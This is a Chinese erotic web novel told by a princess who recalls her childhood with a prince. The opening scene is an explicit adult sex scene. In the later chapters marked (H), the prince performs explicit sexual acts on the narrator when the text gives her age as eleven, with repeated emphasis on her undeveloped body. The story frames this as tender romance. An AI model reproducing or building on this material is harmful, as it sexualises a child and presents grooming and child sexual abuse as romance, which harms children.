图片载入中

玲珑承欢

特大字】 【大字】 【中字】 【小字

“欢儿,睁开眼,你是承欢皇后,要承欢的……”男人在我的耳侧,轻舔着我的耳垂低声细语道。

知道是谁在作怪,我的唇边不禁勾起一丝甜美的笑容,一边怕痒地缩在他的胸前轻轻磨蹭,一边发出像小猫撒娇一样地低吟声。我清晰地听见男人的吸气声。 “你真是个妖精。”男人的声音很低沈,像是从胸膛中发出来的。

他蛮横地将我转过身去,亲吻着我的后背,不断地向下,腰部、腿部、大腿内侧,直到吻到我的私密处。我将手轻轻地抵在唇间却仍就无法抑制地呻吟出声“嗯……啊啊……”。

花瓣在他的舌尖绽放,露出孤零零地花核不住地颤抖,花蜜汩汩地流出,我甚至能听见他吞咽的声音。

无法控制身体的颤抖,无法抑制内心的酥麻,我开口求饶道:“不要……求求你……逸哥哥……不要……嗯……嗯……”

他轻覆在我背上,偏过头吻上我的唇,霸道地将舌头伸进我的口中,也一并推进来许多粘稠地液体。

“宝贝,你的味道怎么样?是不是很甜美?”他低沈地笑着说。“我可是喜欢的紧,这是我的毒,我已经上瘾了……”充满磁性地低音在我的耳中化开,一直流淌到我的心脏……

我睁开一直半眯的双眼充满诱惑地看着他“那我愿意一直让你吃……啊…… ”话还没说完,他已经冲动地板开我的双腿霸道地挤了进去。突然的进入将我填充的满满的,让我不禁尖叫出声。

“你是我的,是我的……”他一边在我的身体里冲刺一边低吼道。

巨大的男性利剑在我的体内不停地摩擦着敏感的内壁,我的花穴不住地收缩着、抗拒着,甜腻的花蜜浸湿了他的利剑,流出了花穴,黏黏地附在我的腿上。 我不住地呻吟,甚至声音越来越大“嗯……嗯……啊……啊……”他的双手环抱着抚上我的双乳,用力地揉搓着。

“逸哥哥……逸……啊……不要……轻点……轻……啊……”我的上身被他轻微抬起,方便他加大手上揉搓的力度,我无助地摇着头,无法宣泄地快感让我只能放声尖叫。

“好紧……好紧……在扭地浪一点,你个淫荡的小妖精!”男人蛮横地低吼。手上以着将我的乳房拧坏的力量旋转着,用力地挤压我的乳头。

我的小腹一鼓一鼓的,强烈的叫人害怕的高潮很快袭来,让我全身都不停地战栗到麻痹,下身的花穴更卖力地吸吮着他的利剑,我能清晰地感觉到他的硕大在我的体内再次膨胀,硬的要咯坏我,热的要烫伤我……

终于我哭喊着在高潮中昏迷了过去,而我也要知道他还没满足,他一定会把我玩弄到快要坏掉才会满意地搂着我睡去。

对我来说和他的欢爱,让我难耐的不是他的粗暴,而是他给我的那些我根本无法承受的快感。他说那是因为我缺少锻炼,他会“重点”培养我的,我回敬他的是:一口咬上他的肩膀外加一句义正言辞的大、色、狼!结果我又被他拿去“重点”培养了……

不管怎么说,如今的生活是我从小就向往,却又一度以为自己不可能拥有的生活。

我爱他,从很小就爱,爱的好苦,爱的好累,我问自己能不能不要再爱他了,他却蛮横地把我抓起来说“不许!”他不许我不爱他,因为他爱我。

他爱我……那我受的一切苦就都不重要了,重要的,是他爱我……

玲珑篇二

我曾经不停地想,如果我是杨依,他会不会多看我一眼……

夕阳西下,艳红的火烧云将天空点燃。清风拂柳,樱花烂漫,情人们在树下低喃着缠绵爱语。我,就是在这样一个温馨、浪漫的时刻来到这个世上的──武陵王的掌上明珠。

掌上明珠这四个字在我身上真的体现的淋漓尽致,虽然我无法记起自己还在襁褓时的事情,但自我有记忆以来,我的生活被幸福两字占得满满的。

我的父王──舜天王朝武陵王,是当今圣上的远亲,但真正使我父王权倾朝野的还是他战神的封号和麾下的一百万精兵及一万亲兵。

我的父王是老来得子。据乳母说,在我出生时,年已四十的父王竟流下了他一生第一滴男儿泪,我们府中的筵席更是摆了足足一个月。父王更是为了我的名字请来了全城夫子,查遍了古今藏书,甚至广发英雄帖。这种长时间大规模的活动终于引起了圣上的不满,最终圣上一锤定音,赐名玲珑。而这已经是我出生一年以后的事情了。

我的成长很顺利,这也难怪,我有大大小小12个供我使唤的婢女,更有高高矮矮近30个供我拆迁的亲兵,父王给我的永远是最好的。外人或许不知,但王府中的每个人都知道,府中真正“当家做主”的是那个被宠坏了的小郡主:小郡主不喜欢吃肉,王爷就命令厨子变着花地做肉;小郡主不喜欢读书,王爷就每天好言好语哄着她学一点、再学一点;小郡主不喜欢父王每日上早朝没有时间陪她,王爷就干脆辞了早朝,任皇帝下旨警告,也以女儿为重。最终老皇帝无奈只好想出了一个万全之策。

府里很多人都认为我是个小魔女,因为我任性、刁蛮,但他们从来都不曾注意我有多孤单。我从小生活在王府中,与我同龄的孩子几乎没有,就算是那么凤毛麟角的几个也都是仆人的孩子,是不允许和我玩的。我每天欺负小婢女、挑食、不学习只是希望能多得到爹爹一点注意,让他能多陪我一会,可是只是这么一点点小小的卑微愿望,在别人眼里却只是我任性、刁蛮的表现罢了。

而这个冬天我却突然迎来了我的第一个朋友──舜天逸。

只是那时的我并不知道这个男孩会在我将来的生命中成为我的全部,全部的爱以及全部的痛……

玲珑篇三

舜天四十三年冬,我六岁。

记得那年的冬天好冷好冷,每天早晨无论嬷嬷怎么叫我起床,我都会耍赖似地把自己紧紧地裹在棉被里。虽然屋内的地热很暖,爹爹还特意嘱咐下人给我添加了炉火,可我仍是喜欢赖在床上,把柔软温暖的羊绒棉被裹在身上只露出一颗圆嘟嘟的小脑袋东张西望,看嬷嬷板着脸大声训斥婢女们拿衣裳、拿手巾,然后马上转过头对着我谄媚地笑,温声细语地哄我起床。我则很不给面子地嘟起嘴扭过头不理她,任她好话说尽,我却仍是一声不吱、一动不动。这时她的表情总是会很精彩,有尴尬、有无奈、有厌恶,但更多的仍是卑躬屈膝。在她连续哄了我近一个时辰却一点成效也没有后,我赖床的事迹终于被报告给了爹爹。

看着爹爹满脸焦急大步流星地向我走来,我欢快地差点从被窝里跳出来。 爹爹走在床边,将我抱在怀里,温暖宽厚地手掌覆在我的额头上“怎么了珑儿?嬷嬷说你不肯起床,是不舒服吗?”爹爹的声音好像是从胸膛里发出来的一样,总是给人一种低沈雄厚的感觉。

“恩。爹爹,珑儿不舒服,爹爹陪陪珑儿吧……”

如果说六岁的我什么最在行的话,那么撒娇一定排在第一位,每次做错事,只要我拉拉爹爹的袖子,扁着小嘴,睁大写满悔恨两字的眼睛看着爹爹,到最后这位在别人眼里严肃冷面的王爷都会把我抱起来,开口哄我不要哭……

就像现在,爹爹把我抱在怀里轻轻地摇着“这可怎么办呢?我们家的小公主不舒服,让爹爹想想该怎么办哦。”说着爹爹低下头对着我温柔地一笑。 爹爹虽是武将,但爹爹的身上除了军人应具备的坚毅、威武、粗犷外却还多了一点点的书卷味。爹爹并不常笑,他也不是那种喜欢把感情表现在脸上的人,因此外人总会觉得他很严肃或是很冷酷,但爹爹在面对我的时候总是很温柔很小心,就好像我是他的什么宝贝一样,怕伤到我,怕吓到我。

“我给珑儿找个玩伴好不好?”父王似是谨慎小心地道。

我好奇地睁大眼睛看着爹爹,这是他第一次说要给我找个玩伴,我开心地把嘴角咧到耳后根,忙胡乱地点头。

真好,以后我也有朋友了……

仰头看着眼前漂亮的大哥哥,我天真的小脑袋实在无法理解为什么一个男孩子会长得这么漂亮?完美的轮廓,细腻的皮肤,潇洒的短发,挺拔的身姿加上那种与生俱来的高贵气质,让我第一次有了自卑感。

低头看看自己,因为天气寒冷的原因我被嬷嬷们包得像一颗粽子,圆鼓鼓的。而我本身又是短粗的胳膊,短粗的腿,对了还有一样是圆鼓鼓的脸……讨厌,为什么我不能像他一样生的那么漂亮,或是像爹爹一样也好啊,我嘟着嘴不开心地想。

“珑儿,这是舜天逸,你以后要叫他逸哥哥。”爹爹打断我的自怨自艾,牵起我白胖的小手,把我领到漂亮哥哥面前,认真地说道。

“你就是珑儿吗?真可爱。”舜天逸对着我友好的一笑,是那样温文尔雅。 有一瞬间我竟然觉得自己被阳光团团围住。

仰头看着他,他真高,差不多要高我两个头。

我缓缓地扬起嘴角,对着他甜甜一笑“逸哥哥好。”

不知道是不是我的声音太过嘹亮,他明显地呆滞了一下,然后冲着我又是温柔地一笑。

就这样,我们相识了。

玲珑篇四

我要说的事:第一印象,往往都是骗人的!

看着跟前这块漂亮的“大石头”,我实在搞不懂自己当初怎么就会觉得他很阳光、温文尔雅呢?

舜天逸正襟危坐在庭院中,手里捧着一本帙卷读得津津有味。我半趴在他面前的石桌上,左看看他,右看看他。我认识他已经七天了,应该算是很久了,久到我知道他是舜天朝的四皇子,久到我知道他今年11岁,比我大了整整5岁,久到我知道他不喜欢说话,久到我知道他不喜欢笑,久到我知道他不喜欢别人夸他长的漂亮,久到我知道他喜欢书远远要超过喜欢我……真的!从第一次见到他时他当着爹爹的面对我笑过几次后,私下里他再也没对我笑过。而与我的交谈更是寥寥无几,就好像这样:“看什么呢?”他突然打断我的胡思乱想,头也不抬地冷声问道。

我小心地看着他。有点委屈地问道“你不喜欢我吗?”

“没。”他仍是头也不抬地简单答复我。

“那你每天都看到我,会不会觉得烦?”不知道为什么我对他总是感觉怕怕的,这种感觉即使是面对爹爹也不曾有过,但每次面对他,和他说话的时候,我都好怕会惹他不快,好希望他能对跟我说几句话。

“不会。”他轻轻翻过一页书,仍是用不冷不热的语调答复道。

“所以,你不是讨厌我,只是你的性格就是这样,对不对?”我突然觉得很开心,虽然他并没有看我,但我仍是对着他甜甜的一笑,手舞足蹈道“你知道吗,我今天早上起床都没有赖床;吃早饭的时候把青菜偷偷扔掉,嬷嬷都没有发现;我去书房不小心把爹爹的墨汁弄撒了,爹爹问我时我说是小猫弄的,结果爹爹竟然猜到我就是那只小猫,你说爹爹是不是好厉害,他怎么知道是我弄洒墨汁的呢?……

哦,对了,我临了字帖,夫子有夸我哦……”

我在逸哥哥面前又蹦又跳,絮絮叨叨地讲着一些乱七八糟的事情,有我欺负小婢女,有被爹爹抓到做坏事,有自己的乌龙事件,有自己骄傲的一面…… 舜天逸低头看着书,不时地能听到他翻书的声音。我毫不在意他是否有认真听我讲话,仍是自顾自的说个不停,有时说到义愤填膺处我会威胁似的挥挥小拳头,有时说到开心处我会不顾形象地大笑,当然我有时也会强迫逸哥哥发表一下他的个人见解,这个时候被我磨得不耐烦的他才会把头从书中挖出来,应付我几句,可就是这短短的几句他随意煳弄我的话,却往往让我开心不已。

当太阳在庭院中只留下余辉的时候,逸哥哥总会不用我提醒便主动从书中清醒过来,我知道,他是要回宫了。

我所有的快乐一瞬间冷淡下来,低下头,又抬起来,怯怯地看着他,小声地问道:“逸哥哥,要留在王府吃晚膳吗?”

“不了。”

他站起身,我也忙在他旁边站好,看着他,头也不回地就要离开,我低下头,不喜欢心中的苦涩滋味。

“对了,从明天起,我会来王府和你一起学习。”

他突然转头丢下这一句话,便又转身大步离开了。

我呆呆地看着他离去的背影,他刚刚说……我拼命地命令大脑去接收、分析他刚刚说的话,可是直到再看不见他的身影我才反应过来──从明天起我们或许要整天呆在一起了!

一霎那,我觉得“艳阳满天”……

玲珑篇五(甜)

当天空刚刚破晓,我已经在嬷嬷的打点下沐浴梳妆,穿好了衣衫。说来奇怪,自从逸哥哥每天都会来王府陪我以后,我竟然出奇的不再赖床,甚至会特意地梳洗打扮或缠着嬷嬷给我做新衣裳……

屋外虽是腊九寒冬,但屋内燃烧旺盛的炉火将四壁都烤的暖烘烘的。刚刚出浴的我穿着一件白色的丝绸内衫,柔软的长发披散在肩颈处,我光着脚丫踩在屋内爹爹特意为我铺的貂毛地毯上,脚尖轻轻地画着圈。

喜儿走过来给我披上了一件艳红色的貂毛风衣,风衣很长,将我唔得严严实实只能露出一双圆胖的小脚丫。喜儿走到窗边将窗户轻轻推开,我才猛地发现外面竟在下雪。

我跑到窗边,仰头看着那晶莹柔软的雪花从天空中慢慢飘落,填满了整个窗口、整个天空、整个世界……

我转过身不顾一切地跑过去推开房门,就这样光着脚丫落入了雪的世界。踩在柔软的雪上,感受着雪在脚下慢慢融化的微凉,想伸手去接刚刚落下的雪,雪却在落到掌心后的一瞬间消失不见了,只留下微湿的凉意。我伸开双臂,快乐的在雪中转着圈。

“嬷嬷、喜儿,你看多漂亮啊! 啊……”原本想跟嬷嬷、喜儿炫耀的欢快声,在我身体突然失重后变成了尖叫。我反射性地伸出双臂,却搂上了一个属于男人的项颈。

看着眼前逐渐放大的脸,看着那一如印象中完美的五官,我呆呆地叫了声:“逸哥哥……”

逸哥哥低头看着我,抿着双唇不说话,眉头微皱。我像个做错事的孩子一样害怕地把头缩在他的怀里,任由他将我打横抱进了屋里。

他坐在软榻上,将我轻轻地安置在他的怀里,拿出手帕温柔地擦去我那已经冻得有些微红的脚丫上的水渍和零星的雪花,然后用手握住了我的脚丫,似是想帮我取暖。他的手掌很宽大,竟能完全包裹住我的脚,他的手掌很温暖,我能清晰地感觉到他手掌中的温度一点点渗透到我的皮肤里,我的脚,我的心,还有我的脸都觉得好热好热。

“是谁让郡主就这么光着脚跑出去的?”他看着我的一干婢女们冷声的问道。那声音是我从没听过的冰冷,和他此时温暖的手掌更是产生强烈的反差。 “奴婢该死……奴婢该死……”婢女们纷纷跪下请罪,脸上写满了恐慌。我则将自己蜷缩在他的怀里,不敢吱声。

“如此粗心大意,若是郡主生了病,你们谁担待的起?”他的声音仍是严肃又冷酷,吓得一干婢女们不住的磕头。

“来人!”

我看着几个快吓哭的婢女,轻轻拽了一下逸哥哥的袖子。

“逸哥哥,你别生气了,是珑儿不好,珑儿贪玩才跑出去的,你不要怪喜儿她们了,好不好?”我可怜兮兮地看个逸哥哥,再配上我一贯撒娇时的语气,果然逸哥哥的眉头不再皱着。

“都下去吧!”逸哥哥一挥手,婢女们忙磕头谢恩快速的退了出去。

当我反应过来的时候,屋里就只剩下逸哥哥和我两个人,而此时我正躺在逸哥哥的怀里,而他的手正握着我的脚。我不知所措地低下头轻靠在逸哥哥的胸前,等候他发落。

隔着棉衣我听到了逸哥哥的心跳声,一下、两下、三下……我心里暗数着逸哥哥的心跳。

“珑儿……”

“哦。”我缩了缩头,怕他骂我。

他似是轻叹了口气道:“算了。”

玲珑篇六

就像爹爹所说的一样,逸哥哥是我的玩伴。我的童年就是在逸哥哥每日“冰冷”的陪伴中度过的。但是,与其说是他陪伴我,倒不如说是我陪伴他,他几乎冷漠到了一定程度,每日除了夫子问话时会说上几句较长的句子外,其余的话几乎都是单音节词,反观我每日都会围着他喋喋不休地说这说那,有的没的,对的错的,只要我能想到的我都会对着他说上一阵。他从没表现过不耐,但也从未鼓励过我继续,可我还是一直认为逸哥哥认识我是他的福气,不然他一定会被自己闷死的。

春去秋来,就这样五个年头在他的“冷漠”中、我的“热情”中悄悄熘走。16的逸哥哥退去了幼时的青涩,原本圆润的脸庞出现了棱角,原本白皙的皮肤变成了浅古铜色,不会再有人觉得他长得漂亮了,因为现在的他已经真真正正是个帅气的皇子了。而11岁的我也终于退去了奶声奶香,开始有了属于少女的气息,但虽然摆脱了以前粗短的胳膊和腿,我的身高仍是我逸哥哥差一个头还要多,我总是要很努力的踮起脚才能勉强到他的肩膀。

逸哥哥开始变得忙碌起来,他不再陪我读书,而我也总是要过几天才能见他一面。不知为什么,最近逸哥哥似乎特别的忙,而且就连我的爹爹也不知怎么的经常见不到人影,偌大的王府里我一个人总是觉得特别难耐。

那是一个午后,嬷嬷叫起午睡的我,将我细致地打扮了一番,说是要带我去见一个姐姐。

“好……漂亮……”这是我第一次见到杨依时的第一反应。虽然11岁的我见到的同龄女孩子并不多,但11岁的我对“美”已经有了初步的了解,眼前的姐姐狭长的丹凤眼,完美的鹅蛋脸,凝脂般的皮肤,纤细曼妙的身姿,让我真正了解了什么是完美女孩。

凭着对美的本能追求,仅一眼我便喜欢上了这个姐姐。

她叫杨依,是当朝丞相杨凡的小女儿,年龄比我大两岁。这次杨丞相来拜访我爹爹,因知我爹爹有个宝贝女儿就带上了自家女孩来访。

坐在花园的池塘旁,我给杨依指池子里我养的金鱼,杨依不言不语只是微笑着看着我。她真的是个大家闺秀,这点即使后来她要杀我时我仍是不得不承认,因为从我认识她的第一天起,她便是个行为举止端庄,谨微慎行的人。相较之下我则差了一大截:我喜欢爬上爬下,喜欢到厨房偷点心,喜欢缠着逸哥哥撒娇……对!每次见到她,我总是会莫名其妙地想到逸哥哥……

从那以后,杨依经常会来看我,而她的到来也使得没有逸哥哥陪伴的我不至于太过孤单,因此我们相处的很好,她很有姐姐的模样,她会包容我的一切调皮并开心的与我谈笑。

只是突然有一段时间杨依不再来王府,我曾问过爹爹此事,爹爹说杨丞相家可能有点事,我很担心,但却一点忙也帮不上。

当杨依再次来王府时,我几乎激动地扑到她身上。

“杨姐姐,发生了什么事,为什么你都不来陪珑儿玩了。”

杨依拉着我做在石凳上,她的面容看起来有点忧愁,她淡淡地道:“没什么,只是最近母亲身体不太好,我很担心。”

我看着她的侧脸,好奇地问:“杨姐姐,母亲是什么东西?”

她转过头惊讶地看着我就仿佛我是什么怪物一样。我对她灿烂一笑,她却是微偏着头,微皱着眉……

玲珑篇七

逸哥哥是在花园池塘边大石头的背后找到我的。

很明显的,他在看到我的样子时微微吃了一惊。

我把自己蜷缩得像个小动物,把脸埋在双膝之间,肩膀不受控制地轻轻抖动。 他轻皱眉头,走过来坐在我身边,霸道地伸过一只胳膊将我搂进了他的怀里。 感受了他怀中的温暖我反而哭得更大声了。逸哥哥一言不发,只是紧紧搂着我,任由我的眼泪和鼻涕蹭花了他绣龙的白色外衣。

当我终于平静下来,却仍是难过地不愿把头从逸哥哥的怀中拿出来。他一手环着我,一手轻轻地抚摸着我的长发,就好我是他的珍宝一样小心呵护着。 “逸哥哥,你是不是也觉得我好傻。十一年了,我竟然不知道自己还有娘,我竟然……我竟然从没有想过自己是从哪里来的……我……”我带着浓中鼻音的呜咽声从逸哥哥的胸口中溢出,仿佛下一秒就又要放声大哭。

逸哥哥停下了抚摸我头发的手,想了一会才淡淡地道:“珑儿还有父王、还有嬷嬷、还有喜儿……”

我急忙将头从他的怀里抬起来,顾不得自己红红的眼睛和哭花了的脸,望着逸哥哥的眼睛问道:“那逸哥哥呢?逸哥哥会永远陪着珑儿吗?”

他直视着我的双眼,那一刻我在他的眼中看到了自己,那个哭得丑极了的、小小的、缩在他怀里的、完整的自己。

“会。我会。”

我用力扯开一个巨大的笑容,然后将头再次埋进了他的胸膛,双手紧紧在抱住他。

“逸哥哥,你……认识我娘吗?”我平静地问道,声音也不再哽咽。

“只是听说是个很美的女子。”逸哥哥淡淡地道。

“她……死了吗?”我小心地轻声问。

逸哥哥没有说话只是紧了紧抱着我的手臂。

“你父王应该很爱她,不然这偌大的王府怎么会连个侍妾都没有。”

我不再说话,脑袋里乱乱的,对那个陌生又熟悉的女人,我真的不知道该抱有怎样的心情,我想象不出她的容颜、想象不出她的声音。她会像父王那样宠我吗?会像嬷嬷那样每晚哄我睡觉吗?父王真的爱她吗?为什么……为什么府里上上下下从没有人提起过她呢?为什么从没有人跟我提过她、讲过她……为什么…… 逸哥哥突然抬起我的头,看着我那双半含泪水的眼睛,他的唇慢慢地印上了我的唇,我不知所措地睁大眼睛。他不断地加深这个吻,不停地舔弄着我的唇,感受着唇上柔软酥麻的感觉,我情不自禁地闭上了双眼。我能清晰地感受到他霸道地用舌头撬开我的贝齿,逗弄着我的舌头,滑过我整齐的牙齿,占有我嘴里的每一寸。无法吞咽的唾液不受控制地滑出嘴角,形成一条晶莹的银丝。

这一刻时间仿佛停止了,我忘记了忧伤,只能不住地感受他带给我的异样感觉,感受着他的侵占。

不知到底过了多久,当他终于离开我的唇。 “唿吸!”

我不解地抬头看他,才突然发现自己竟一直忘了唿吸。将头抵在他的胸膛上大口地唿吸着新鲜空气,脸上早已是一片绯红,热得发烫。

逸哥哥轻笑出声,又低头亲吻我的侧脸,细密缠绵的吻一路来到了我的耳后,他轻轻地含住我的耳垂“小宝贝,我吻你的时候要记得唿吸……”

他的声音不再是往常的云淡风轻,变得好邪异。

我把自己躲进他的怀里,死也不肯把头抬起来,反倒是逗得他大笑出声。 “珑儿,忘记该忘记的,我想你快乐。”

他温柔的话语像一阵清风拂过我的心灵上空,带走了我所有的阴霾,我应该知足的,我已经拥有太多了……

我在他的怀里轻轻点头……

我没有跟爹爹提起过娘的事,我想……一切都不需要了……我已经有很多爱了。

玲珑篇八(H)

早上醒来脸上红扑扑的,我害羞地用蚕丝被将头埋起来、讨厌!我到底是怎么了嘛!自从上次逸哥哥在池塘边突然吻我,我就好像着了魔一样经常会梦见他对我那样那样!讨厌!可是……我好像逸哥哥呀,从上次他来到现在我已经有足足三天没见到他来了,也不知道他怎么养了,有没有想我。

“小姐,你这是怎么了,一会害羞、一会嘟嘴的,莫不是想四皇子了?”喜儿端着洗漱的清水近来时看着我打趣地问道。

“讨厌啦!喜儿,你竟然嘲笑我!哼!我不起床了,看嬷嬷一会儿骂不骂你。”我不依地对着她威胁到。

喜儿看看我,眨了眨眼,完全没有把我的威胁当回事。

“小姐真的不要起床吗?喜儿可是听王爷说今天四皇子回来哦……”

喜儿还没说完,我已经一熘烟爬起来开始穿衣服“讨厌的喜儿!你怎么不早说!逸哥哥来了吗?他在哪?”

喜儿用袖子掩着嘴偷偷笑了笑,不慌不忙地走过来帮我更衣。“小姐不用着急,四皇子正和王爷谈话呢,咱们不着意,喜儿一定把小姐打扮的漂漂亮亮,迷死四皇子。”

“喜儿……你!”我害羞地低着头,感觉到脸上一阵发烫。

听仆人说逸哥哥在花园的凉亭里,我急忙跑了过去。

在远处就看见凉亭中穿着白玉青衫的逸哥哥正坐在那手捧着一卷书,一如我印象中的儒雅、淡然。

当我像只花蝴蝶一样飞到他面前时,我反倒不知该说什么,只得局促不安地站在那里,小手不停地拉扯着裙子的褶皱。

他好看的眉头挑了挑,嘴角也不禁向上勾起,抬起头看着我,淡淡地笑道:“怎么了珑儿?”

他不说话还好,一说话我的脸马上就变成了一片绯红,脑袋几乎垂到了胸前。 “啊,没……没什么,我就是……哦,对了,我就是想问问逸哥哥饿不饿,今天厨子又做桂花糕,很好吃的哦。”我抬起头掩饰着自己的不安,根本不知道自己到底想说什么。

他站起身向我走来,一双好看的眼睛也直直地盯着我,让我又不禁低下头。他的靠近给我带来了巨大的压迫感,我也不知道为什么在他的步步紧逼下我竟然一直后退,直到后背靠在了亭柱上。

“逸哥哥……”我的声音小的犹如蚊蚋。

他双手拄在亭柱上,将我禁锢在中间,邪邪地笑道:“珑儿今天好漂亮,是特意为我打扮的吗?”

他的样子好邪恶,我羞得轻轻点头,连看他一眼的勇气都没有。

他用手抚摸着我的脸颊,将我的头缓缓抬起,他的大么指肚摩挲过的唇,我能清晰地听见自己心跳的声音。

“珑儿讨厌我碰你吗?”他低下头轻吻着我的耳侧。

我的手紧紧地拽着裙摆,感受着他湿热的舌头滑过我的耳廓,滑下我的项颈。 “不……”我的声音听起来颤抖又破碎。

“是不讨厌我这样做,还是不要我这样做?”逸哥哥故意似叼起我的耳垂轻轻拉扯。

“是……是不讨厌。”我害羞的一塌煳涂,直恨不得找个地缝转进去。 他轻笑出声“我的乖女孩……”说完便霸道地占有我的双唇。

是很狂野的吻,吻得那样深,那样用力。我的双手轻抵在他的身前,感受着他的舌头在我的口中肆虐,我无力抵抗,只能任他予取予求。

他的手轻轻地扯开了我的衣襟,温暖宽阔的手覆盖在我的胸前时,我害怕地瑟缩了一下。他用右臂环住我的腰将我拉进他的怀里,左手肆意地放在我的胸前,揉捏着我才刚刚发育的乳房,我敏感地感受到自己的乳尖在他的玩弄下变得充血、发硬,硬生生地顶在肚兜上,而他的唇仍是霸道地占用着我的唇舌。

“啊……嗯……”我不禁小声地呻吟出声。

远处,身穿深蓝色绣龙长衫的武陵王正直直地看着亭中的两人,交叉在背后的双手紧紧地我成了拳,却又随即松开,转身离去。

舜天逸眯起双眼看着武陵王离去的身影,眼里是藏不住的笑意。

他终于肯松开我的唇,我瘫软地只能用双臂勾住他的脖子,把自己全身的重量都压在他怀里,他很是受用地抱着我,吻着我的项颈、耳侧,左手也慢慢从我的胸前下移,直到伸进了我的亵裤里。

我睁大眼睛“逸哥哥……”酥软的声音像是在撒娇。

“嘘……相信我,你会喜欢的。”逸哥哥用他富有磁性的低沈声音诱惑着我。 “可是……”

“乖女孩,让我尝尝你的甜美……”

玲珑篇九(H)

我害怕的咬紧下唇,肩膀不禁瑟缩,我敏感地感受到他手心的温暖和手指的邪恶。

他的手缓缓下滑,紧贴着我的肌肤,滑过小腹,来回地抚摸着我的大腿根部,肆虐地用手指描绘着我的花缝……再一点点深入……

逸哥哥将头抵在我的颈间,细细地啃咬着我的肌肤,柔软的舌头滑过我细嫩的肌肤,让我不禁泛起阵阵战栗。

“逸哥哥……好奇怪。”感觉脸上火辣辣的,全身酥酥软软使不上力气,更害羞的是我竟然觉得那里湿湿的,要想要小便一样。

“啊……”

在逸哥哥的手指挤进我细小的花缝的一瞬间,我抑制不住地轻唿出声,却又马上意识到“逸哥哥不要,那里……那里脏。”

逸哥哥在我的耳旁轻笑出声,暧昧地道:“我的珑儿是最干净的,只是……呵呵,我的珑儿太热情了,这么快就湿了……”他说话时,嘴唇轻挨着我的肌肤,细微的摩擦让我有种得不到却又真实存在的感觉,他唿出的温暖气息在我的肌肤上慢慢散开,渗入到毛孔中,扩散到全身上下。

他的动作很温柔,手指细细轻柔地勾勒着我的花皱,每一个角落,带着我情动的爱液来来回回,由浅入深。我迷失在他的温柔中,迷恋着他手指带给我的异样感觉,那种说不出道不明的舒适与幸福。

“啊……嗯……嗯……啊……”我将我靠在他的怀里,双手拽着他的衣衫,闭起双眼,无法抑制地发出断断续续地呻吟声。

“啊……”

感受到他突然按在了我的花核上,用食指和么指肆意地揉搓着我颤微地花核。我激烈地颤抖起来,像是要把自己缩成一团,双腿无力地向下弯曲,逸哥哥只好用另一只手臂紧紧地箍着我的腰身,避免我跪下。

“啊……逸哥哥……逸……啊……嗯……”

逸哥哥手下的动作突然加大,用力地拉扯、挤压我的花核,然后快速地对准我的花穴,将他的食指就这样霸道地挤了进来。花穴感觉到有异物地进入,本能地推挤着他,但却让我更清晰地感觉到了他的存在。

“宝贝……你真的太小了,太紧了……真是个宝贝。”逸哥哥色情地话不知道是在夸我,还是在夸我的小穴,羞得我只想把自己藏起来。

逸哥哥的手开始在我的小穴中缓慢抽插,一点点挤开我体内的肉壁,再任由肉壁在他的指间退出后紧致地合起,让他带出里面大量的爱液。

我再次沈沦在他的温柔中,沈沦在肉体的欢愉中。他温柔地拓宽着我的小穴,让我没有感到一丝不适,而他已经挤进了三根手指。

小穴内逸哥哥略带薄茧的手指摩擦着我细嫩的内壁,一丝丝异样的感觉从体内伸出传来,让我的呻吟声不禁加大“啊……嗯……嗯……逸哥哥……啊……我好喜欢你……”

意乱情迷的我胡乱地表白着,而逸哥哥似乎察觉到了我的异样,温柔的细抚转瞬间变为激烈地抽插。

我紧闭双眼,美丽的眉毛不禁皱起,呻吟的声音更是一句连这一句地从口中溢出。

“啊……啊……啊……不要了……不要了……啊……”

我逃避似的扭动身躯,想要躲避他的凌虐,却比他的大手紧紧地按在怀里,直到身体里最深处的巨大欢愉喷泄而出“啊…………”我尖叫着,用力地向后仰着头,拉伸出我完美地颈部线条,而逸哥哥便低头啃咬着我的颈项,在我的颈间留下专属他的记号。

这种由激烈到爆发的快感是刚刚逸哥哥那些无比温柔所无法给予的,我能感觉到小穴的剧烈收缩,能感觉到那大量的花蜜一泻而下,能感觉到心脏仿佛要跳出般地剧烈敲击,能感觉到全身上下的每一寸肌肤都叫嚣着欢愉……但那一瞬间,激情的光亮却耀得我的大脑一片空白,直到许久才恢复了意识……

玲珑篇十(H)

当我在逸哥哥的怀里终于能够稳住唿吸后,才怯怯地抬起头。

“那个……逸哥哥,你……能不能……把里面的……手拿出来。”一句话说完我又羞得把头埋在了逸哥哥的怀里,却听到逸哥哥爽朗的笑声,感受着他胸膛的震动,这让我羞得更是没脸见人了。

“珑儿想让我出来,是不是该说点什么好听的呢?”逸哥哥舔着我的耳垂坏坏地说道。

“逸哥哥……”我不依地撒娇,在他的怀里轻轻地忸怩着。

“不要再动了。”逸哥哥突然冷声道,吓了我一跳,我忙乖乖地呆在他的怀里,一动都不敢动,心里却委屈极了,不知道什么惹他生气了。

他的身体僵硬了一下,唿吸也加深了。似是隐忍地站了一会,他的身体渐渐放松,唿吸也变得平缓。他的手指渐渐抽离开我的小穴,感觉自己的小穴仿佛挽留他一样紧紧地吸附着他的手指,心里火辣辣的害羞代替了刚刚的委屈。 当他的手指终于离开我的小穴,我清晰地感觉到他指间的潮湿,以及随即溢出低落到我大腿上的爱液,我害羞地夹紧双腿。

他将我靠在亭柱上,抬起我的头,然后举起那双沾满我的液体的手,他轻轻分开手指,看着那晶莹的液体粘稠地不肯断开,拉出一条银白的线,我羞得只想找个地缝转进去永远都不要见人了。

他邪恶地将头靠过来,在我的注视下轻添着自己的手指,粘稠的液体在他的嘴角流下诱人的水痕。

“很棒的味道,是我家珑儿的味道,珑儿要不要尝尝呢?”他盯着我的眼睛色色地笑道,而我已经羞赧的无地自容,忙把头垂在胸前,惹得逸哥哥又是一阵大笑。

我已经不记得自己是怎么回到房间里的了,也记不太清后来我们又做了什么,只是依稀记得他在擦拭好手后,帮我穿好了衣服,然后抱着一直不肯抬头的我在午后的亭台里一边听着蛙鸣,一边感受着清风拂面,一边抱着像个树懒一样的我读书,他偶尔会低下头逗弄我,而我却在他温暖宽阔的胸膛中睡着了,再醒来竟已是第二日清晨。

那个夏天的午后就像是一场梦,一场属于少女的梦,当第二天我从床上起来的时候,我甚至花了好长一段时间去回忆那到底是真实存在过,还是只是我的南柯一梦,当我反应过来自己在想什么时,我又无地自容的把自己埋在了被褥里,任由喜儿怎么叫也不吱声,却又突然把头伸出来对着喜儿难为情地道:“喜儿……那个……昨天是你帮我净的身吗?”我故作镇定地问道,殊不知我的脸早已一片绯红。

